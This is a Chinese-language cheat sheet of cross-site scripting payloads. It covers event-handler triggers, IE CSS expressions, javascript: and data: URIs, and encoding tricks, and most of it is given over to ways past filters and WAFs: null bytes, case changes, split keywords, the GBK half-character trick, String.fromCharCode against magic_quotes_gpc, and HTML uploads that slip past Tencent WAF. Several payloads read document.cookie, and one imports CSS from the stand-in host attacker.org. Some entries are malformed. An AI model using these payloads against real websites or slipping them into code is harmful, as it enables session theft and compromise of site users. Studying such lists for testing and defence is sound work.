触发事件XSS语句的总结
- onmouseenter:当鼠标进入选区执行代码
1
| <div style="background-color:red" onmouseenter="alert(/XSS/)">123456</div>
|
- onmouseleave:当鼠标离开选区执行代码
1
| <DIV onmouseleave="alert(/XSS/)" style="BACKGROUND-COLOR: red">123456</DIV>
|
- onmousewheel:当鼠标在选区滚轮时执行代码
1
| <DIV onmousewheel="alert(/XSS/)" style="BACKGROUND-COLOR: red">123456</DIV>
|
FireFox浏览器使用DOMMouseScroll事件,其他(包括IE6)都是使用onmousewheel事件;
4. onscroll:拖动滚动条执行代码
1 2 3 4 5 6 7
| <div style="width:100px;height:100px;overflow:scroll" onscroll="alert(/XSS/)">123456 <br/> <br/> <br/> <br/> <br/> </div>
|
- onfocusin:当获得焦点时执行代码
1
| <div contentEditable="true" style="background-color:red" onfocusin="alert(/XSS/)" >asdf</div>
|
- onfocusout:当失去焦点时执行代码
1
| <div contentEditable="true" style="background-color:red" onfocusout="alert(/XSS/)" >asdf</div>
|
- onstart:当显示内容时执行代码
1
| <marquee style="background-color:red" onstart="alert(/XSS/)" >asdf</marquee>
|
- onbeforecopy:选中内容后复制执行代码
1 2 3 4
| beforecopy:在发生复制操作前触发 beforecut:在发生剪切操作前触发 beforepaste:在发生粘贴操作前触发 <div style="background-color:red;" onbeforecopy="alert(/XSS/)" >asdf</div>
|
firefox不支持
9. oncontextmenu:鼠标在选区右键执行代码
1
| <div style="background-color:red;" oncontextmenu="alert(/XSS/)" >asdf</div>
|
10、oncopy:复制时执行代码
1
| <div style="background-color:red;" oncopy="alert(/XSS/)" >asdf</div>
|
11、oncut:剪切时执行代码
1
| <div contentEditable="true" style="background-color:red;" oncut="alert(/XSS/)" >asdf</div>
|
12、ondrag、ondragenter、ondragover:选择内容并拖动时执行代码
1
| <div style="background-color:red;" ondrag="alert(/XSS/)" >asdf</div>
|
13、ondragend:选择内容并拖动松开鼠标执行代码
1
| <div style="background-color:red;" ondragend="alert(/XSS/)" >asdf</div>
|
14、ondragleave:选择内容并拖出边框执行代码
1
| <div contentEditable="true" style="background-color:red;" ondragleave="alert(/XSS/)" >asdf</div>
|
15、ondrop:有内容被拖动进来时执行代码
1 2
| <div contentEditable="true" style="" ondrop="alert(/bem/)" >asdf</div> <div contentEditable="true" style="" ondrop="alert(/bem/)" >asdf</div>
|
16、onpaste:黏贴时执行代码
1
| <div contentEditable="true" style="" onpaste="alert(/bem/)" >asdf</div>
|
17、onselectstart:选择内容时执行代码
1
| <div contentEditable="true" style="" onselectstart="alert(/bem/)" >asdf</div>
|
18、onhelp:进入焦点按F1时执行代码
IE 浏览器支持在 CSS 中扩展 JavaScript,这种技术称为动态特性。
CSS行内样式:
1 2 3 4
| <DIV STYLE="width: expression(alert('XSS'));"> <img style="xss:expression(alert(0))"> // Works upto IE7. <div style="color:rgb(''x:expression(alert(1))"></div> // Works upto IE7. <style>#test{x:expression(alert(/XSS/))}</style> // Works upto IE7
|
仅IE支持,由于暴漏出来的种种缺点,微软最终从IE8 beta2(标准模式下)开始放弃对css表达式的支持。
CSS import
1 2 3 4 5 6 7 8 9 10 11 12
| <style> @import url("http://attacker.org/malicious.css"); </style> malicious.css: body { color: expression(alert('XSS')); } 为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过: <style> @imp\ort url("http://attacker.org/malicious.css"); </style> IE 浏览器会接受反斜杠,但是我们绕过了过滤器。
|
伪协议
1 2 3 4
| <iframe src=javascript:prompt(/StoredXssByIframeTag/);></iframe> <object data=data:text/html;base64,PHNjcmlwdD5wcm9tcHQoL1N0b3JlZFhzc0J5T2JqZW N0VGFnLyk7PC9zY3JpcHQ+></object> <object data="javascript:alert(document.domain)">
|
HTML5标签
1 2
| <svg onload=prompt(/XSS/)> <embed src=javascript:alert(/XSS/);>
|
js编码,html编码,十进制编码等
1 2 3
| <embed src=javascript:alert(/XSS/);> <video><source onerror=alert(String.fromCharCode(88,83,83))> (这个函数用于ascii码的还原) <script/src=data:text/j\141v\141script,\u0061%6C%65%72%74(/XSS/)></script>
|
链接标签里可以通过在 URL 中使用 js伪协议来执行 JavaScript:
1 2 3
| <a href="javascript:alert('test')">link</a> <a href="javascript:alert('xss')">link</a> 上面这段代码不匹配正则表达式,但是浏览器依旧会执行它,因为浏览器会首先进行 URL 解码操作。
|
另外,我们还可以使用 VBScript,虽然它在 IE11 中被禁用了,但依旧可以运行在旧版本的 IE或者启用兼容模式的 IE11 上。我们可以使用类似上面 JavaScript 的方式来插入 VBScript 代码:
1
| <a href='vbscript:MsgBox("XSS")'>link</a>
|
使用标签
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <input onfocus=alert(33) autofocus> <script>alert(navigator.userAgent)<script> <script>alert(88199)</script> <script>confirm(88199)</script> <script>prompt(88199)</script> <script>\u0061\u006C\u0065\u0072\u0074(88199)</script> <script>alert(/XSS/)</script> <script>alert(`XSS`)</script> <script>alert("XSS")</script> <script src=data:text/javascript,alert(88199)></script> <script>setTimeout(alert(88199),0)</script> <form><button formaction=javascript:alert(21)>Mformaction 属性覆盖 form 元素的actionHTML 5 <form> action 属性") 属性。 <form onsubmit=alert(23)><button>M <body/onload=alert(25)>
<body onscroll=alert(26)><br><br><br><br><br><br><br> <br><br><br><br><br><br><br><br><br><br><br> <br><br><br><br><br><br><br><br><br><br><br> <br><br><br><br><br><br><br><br><br><br><br> <input autofocus>//input获得焦点实现自动滚动
<iframe/onload=alert(document.domain)></iframe> <IFRAME SRC="javascript:alert(29);"></IFRAME>
|
短payload
编码
JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码
1 2 3 4 5 6 7 8 9 10 11 12
| (支持HTML, Octal, Decimal,Hexadecimal, and Unicode) href= action= formaction= location= on*= name= background= poster= src= code= data= //只支持base64
|
1 2
| <script>alert(“xss”);</script>可以转换为: %3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e
|
运算弹窗
1 2 3 4 5 6 7 8
| <script type="text/javascript"> var test = ""-alert(1)-"" </script> =右边是表达式,先要计算表达式的值,再赋值 第一步执行alert(1),弹出对话框 第二步执行空字符串减alert(1)的返回值,也就是0-undefined,结果是NaN 第三步执行NaN减空串,结果是NaN 第四步执行赋值,test的值就是NaN
|
空字节
1 2 3 4 5
| 最长用来绕过mod_security防火墙,形式如下: <scri%00pt>alert(1);</scri%00pt> <scri\x00pt>alert(1);</scri%00pt> <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t> 空字节只适用于PHP 5.3.8以上的版本
|
语法BUG
RFC声明中节点名称不能是空格,以下的形式在javascript中不能运行
1 2
| <%0ascript>alert(1);</script> <%0bscript>alert(1);</script>
|
<%, <//, <!,<?可以被解析成<,所以可以使用以下的payload
1 2 3
| <// style=x:expression\28write(1)\29> // Works upto IE7 参考http://html5sec.org/#71 // Works upto IE9 参考http://html5sec.org/#115 <%div%20style=xss:expression(prompt(1))> // Works Upto IE7
|
代码拆分执行
1 2 3
| <script>z='javascript:'</script> <script>z=z+'alert(/xxss/)'</script> <script>eval(z)</script> //可绕过字符长度限制
|
chrome浏览器喜欢去补全缺失的引号。如果引号被过滤那么直接省略,chrome将会正确的帮你补全缺失的引号在URL和script中。
1
| <a onmouseover=alert(document.cookie)>xxs link</a>
|
闭合script
1 2 3
| <script> var x = "123</script><script>alert(1);//"; </script>
|
闭合优先级高于双引号的标签
圆括号被过滤
1
| <img src=x onerror="javascript:window.onerror=alert;throw 1">
|
1 2
| <!--用location中URL编码小括号绕过--> " autofocus onfocus=location='javasCript:alert%25281%2529' x="
|
尖括号被过滤
1
| autofocus onfocus=alert(1) x="
|
1 2 3 4
| <script> var s = "u003cimg src=1 onerror=alert(/xss/)u003e"; document.getElementById('s').innerHTML = s; </script>
|
单引号过滤
1 2
| 有时需要获取cokie,但用到单引号很多 可以用this.name传入 " name=javasCript:alert%25281%2529 autofocus onfocus=location=this.name x="
|
js中字符转ascii码的函数为charCodeAt()
js ascii码转字符的函数:String.fromCharCode()
转成ascii码后。再将其转回字符。这样子在输入的时候就没有单引号。就不会受单引号转义的限制。
异步拉取用户信息
1 2 3 4 5 6
| <script> function callback(obj) { document.getElementById("test").innerHTML = obj.name; } </script>
|
半字符问题(只对单双引号和尖括号进行转义)
对于gb2312编码,” [0xc0] “是一个合法的编码,显示为:”繺”。
对于UTF-8编码,在IE6下,上述组合也是一个合法的编码。
其中[0xc0]表示一个十六进制的值。
现在修改昵称为:
1
| [0xc0]u003cimg src=1 onerror=alert(/xss/) [0xc0]u003e
|
getcontent输出:
1
| callback({"name":"[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e"});
|
由于半字符[0xc0]的存在,在解释上述JS代码时,等价于:
1
| callback({"name":"繺u003cimg src=1 onerror=alert(/xss/) 繺u003e"});
|
可见,转义序列u003c终于又回来了,显示结果如下:
上述昵称中并没有出现单双引号,尖括号,所以如果后台只是对单双引号和尖括号进行转义,那么是可以被绕过防御的。
总结:
(1) 利用场景:输出内容在JS代码里,并且被动态显示出来(如使用innerHTML)。
(2) 测试方法:截获请求包,修改参数为:
1
| %c0u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0u003e
|
(3) 防御方法:后台对半字符,反斜杠,单双引号,尖括号进行处理。
编辑点评:关于xss绕过的方式有很多,不少程序员以及小黑都认为过滤了<、>、’、”,就真的安全的,实际来说,只要针对这些字符进行一定的转义,就能成功绕过!
绕过magic_quotes_gpc
magic_quotes_gpc=ON是php中的安全设置,开启后会把一些特殊字符进行轮换,比如’(单引号)转换为\’,”(双引号)转换为\”,\转换为\
比如:<script>alert(“xss”);</script>
会转换为 <script>alert(\”xss\”);</script>
,这样我们的xss就不生效了。
针对开启了magic_quotes_gpc的网站,我们可以通过javascript中的String.fromCharCode方法来绕过,我们可以把alert(“XSS”);转换为
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34,41)那么我们的XSS语句就变成了
1
| <script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88,83, 83, 34, 41, 59)</script>
|
String.fromCharCode()是javascript中的字符串方法,用来把ASCII转换为字符串。
最后使用 <script>转换后的放到这里</script>
包含即可。
改变大小写
1
| <ScRipt>ALeRt(“XSS”);</sCRipT>
|
空格/回车/Tab
假设过滤函数进一步又过滤了javascript等敏感字符串,只需对javascript进行小小的操作即可绕过,例如:
1
| <img src= "java script:alert(‘xss‘);" width=100>
|
这里之所以能成功绕过,其实还得益于JS自身的性质:Javascript通常以分号结尾,如果解析引擎能确定一个语句时完整的,且行尾有换行符,则分号可省略
而如果不是完整的语句,javascript则会继续处理,直到语句完整结束或分号。
像``<img src= “javascript: alert(/xss/); width=100> `同样能绕过
对标签属性值进行转码
1
| <img src= "javascriptt&#alert(/xss/);">
|
文件上传XSS(TencentWAF)
XSS文件上传(html格式)绕过WAF
1 2 3 4 5
| <html>
<a href="javas cript:alert(document.cookie)">XSS</a>
</html>
|
1 2 3 4 5 6
| <html> <body> <img src=1 onerror=alert(document.cookie)> </body>
</html>
|
Cheet-sheet绕过速查表
XSSBypass速查PDF
补充框